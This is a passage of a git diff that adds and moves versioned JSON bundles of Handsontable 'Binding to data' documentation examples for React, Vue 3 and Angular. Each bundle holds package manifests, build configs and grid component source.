\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example4\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { FC } from 'react';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\ninterface Person {\n id: number;\n name?: { first: string; last: string };\n address: string;\n}\n\nconst ExampleComponent: FC = () => {\n const data: Person[] = [\n { id: 1, name: { first: 'Ted', last: 'Right' }, address: '' },\n { id: 2, address: '' }, // Handsontable will create missing properties on demand\n { id: 3, name: { first: 'Joan', last: 'Well' }, address: '' },\n ];\n\n return (\n {\n let columnMeta = {};\n\n if (column === 0) {\n columnMeta.data = 'id';\n } else if (column === 1) {\n columnMeta.data = 'name.first';\n } else if (column === 2) {\n columnMeta.data = 'name.last';\n } else if (column === 3) {\n columnMeta.data = 'address';\n } else {\n columnMeta = {};\n }\n\n return columnMeta;\n }}\n minSpareRows={1}\n autoWrapRow={true}\n autoWrapCol={true}\n licenseKey=\"non-commercial-and-evaluation\"\n />\n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/getting-started/binding-to-data/react/example4.tsx","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example4","exampleTitle":"Array of objects with column as a function","docPermalink":"/binding-to-data","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__react__example5.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__react__example5.tsx.json new file mode 100644 index 00000000..d6671881 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__react__example5.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Getting Started ▸ Binding to data · Array of objects with column mapping · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example5\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { FC } from 'react';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\ninterface Person {\n id: number;\n name?: { first: string; last: string };\n address: string;\n}\n\nconst data: Person[] = [\n { id: 1, name: { first: 'Ted', last: 'Right' }, address: '' },\n { id: 2, address: '' }, // Handsontable will create missing properties on demand\n { id: 3, name: { first: 'Joan', last: 'Well' }, address: '' },\n];\n\nconst ExampleComponent: FC = () => (\n \n);\n\nexport default ExampleComponent;"},"docsPath":"guides/getting-started/binding-to-data/react/example5.tsx","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example5","exampleTitle":"Array of objects with column mapping","docPermalink":"/binding-to-data","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__react__example6.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__react__example6.tsx.json new file mode 100644 index 00000000..4574a4f2 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__react__example6.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Getting Started ▸ Binding to data · Array of objects with custom data schema · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example6\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { FC } from 'react';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent: FC = () => (\n \n);\n\nexport default ExampleComponent;"},"docsPath":"guides/getting-started/binding-to-data/react/example6.tsx","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example6","exampleTitle":"Array of objects with custom data schema","docPermalink":"/binding-to-data","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__react__example7.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__react__example7.tsx.json new file mode 100644 index 00000000..ab3e0e71 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__react__example7.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Getting Started ▸ Binding to data · Function data source and schema · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example7\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { FC } from 'react';\nimport Handsontable from 'handsontable/base';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\ninterface Person {\n id: number | undefined;\n name: string | undefined;\n address: string | undefined;\n attr: (attr: string, val?: Handsontable.CellValue) => keyof Person | Person;\n}\n\n// register Handsontable's modules\nregisterAllModules();\n\ninterface ModelOptions {\n [x: string]: any;\n id?: number;\n name?: string;\n address?: string;\n hasOwnProperty?: (prop: string) => boolean;\n}\n\ntype PrivPerson = {\n [K in keyof Person]: Person[K];\n} & { [key: string]: any };\n\nfunction model(opts: ModelOptions): Partial {\n const _pub: Partial = {\n id: undefined,\n name: undefined,\n address: undefined,\n attr: undefined,\n };\n\n const _priv: Partial = {};\n\n for (const i in opts) {\n if (opts.hasOwnProperty && opts.hasOwnProperty(i)) {\n _priv[i] = opts[i];\n }\n }\n\n _pub.attr = function (attr: keyof Person | string, val?: Handsontable.CellValue) {\n if (typeof val === 'undefined') {\n window.console && console.log('GET the', attr, 'value of', _pub);\n\n return _priv[attr];\n }\n\n window.console && console.log('SET the', attr, 'value of', _pub);\n _priv[attr] = val;\n\n return _pub;\n };\n\n return _pub;\n}\n\nfunction property(attr: keyof Person | string) {\n return (row: Handsontable.RowObject | Handsontable.CellValue[], value?: Handsontable.CellValue) => (row as unknown as Person).attr(attr, value);\n}\n\nconst data: Partial[] = [\n model({ id: 1, name: 'Ted Right', address: '' }),\n model({ id: 2, name: 'Frank Honest', address: '' }),\n model({ id: 3, name: 'Joan Well', address: '' }),\n model({ id: 4, name: 'Gail Polite', address: '' }),\n model({ id: 5, name: 'Michael Fair', address: '' }),\n];\n\nconst ExampleComponent: FC = () => (\n \n);\n\nexport default ExampleComponent;"},"docsPath":"guides/getting-started/binding-to-data/react/example7.tsx","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example7","exampleTitle":"Function data source and schema","docPermalink":"/binding-to-data","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__react__example9.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__react__example9.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__react__example9.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__react__example9.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__vue__example1.vue.json new file mode 100644 index 00000000..f514fcb8 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Getting Started ▸ Binding to data · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/getting-started/binding-to-data/vue/example1.vue","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/binding-to-data","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__vue__example10.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__vue__example10.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__vue__example10.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__vue__example10.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__vue__example11.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__vue__example11.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__vue__example11.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__vue__example11.vue.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__vue__example2.vue.json new file mode 100644 index 00000000..02f4b9ab --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Getting Started ▸ Binding to data · Array of arrays with a selective display of columns · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/getting-started/binding-to-data/vue/example2.vue","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example2","exampleTitle":"Array of arrays with a selective display of columns","docPermalink":"/binding-to-data","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__vue__example3.vue.json new file mode 100644 index 00000000..2e712cfd --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__vue__example3.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Getting Started ▸ Binding to data · Array of objects · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/getting-started/binding-to-data/vue/example3.vue","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example3","exampleTitle":"Array of objects","docPermalink":"/binding-to-data","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__vue__example4.vue.json new file mode 100644 index 00000000..067a3b25 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__vue__example4.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Getting Started ▸ Binding to data · Array of objects with column as a function · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example4\");","/src/App.vue":"\n\n"},"docsPath":"guides/getting-started/binding-to-data/vue/example4.vue","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example4","exampleTitle":"Array of objects with column as a function","docPermalink":"/binding-to-data","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__vue__example5.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__vue__example5.vue.json new file mode 100644 index 00000000..03739cc3 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__vue__example5.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Getting Started ▸ Binding to data · Array of objects with column mapping · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example5\");","/src/App.vue":"\n\n"},"docsPath":"guides/getting-started/binding-to-data/vue/example5.vue","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example5","exampleTitle":"Array of objects with column mapping","docPermalink":"/binding-to-data","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__vue__example6.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__vue__example6.vue.json new file mode 100644 index 00000000..d7e616e5 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__vue__example6.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Getting Started ▸ Binding to data · Array of objects with custom data schema · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example6\");","/src/App.vue":"\n\n"},"docsPath":"guides/getting-started/binding-to-data/vue/example6.vue","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example6","exampleTitle":"Array of objects with custom data schema","docPermalink":"/binding-to-data","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__vue__example7.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__vue__example7.vue.json new file mode 100644 index 00000000..332e50f7 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__vue__example7.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Getting Started ▸ Binding to data · Function data source and schema · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example7\");","/src/App.vue":"\n\n"},"docsPath":"guides/getting-started/binding-to-data/vue/example7.vue","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example7","exampleTitle":"Function data source and schema","docPermalink":"/binding-to-data","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__vue__example9.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__vue__example9.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__vue__example9.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__vue__example9.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__configuration-options__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__angular__example2.ts.json new file mode 100644 index 00000000..287fb746 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__configuration-options__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Getting Started ▸ Configuration options · Example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": 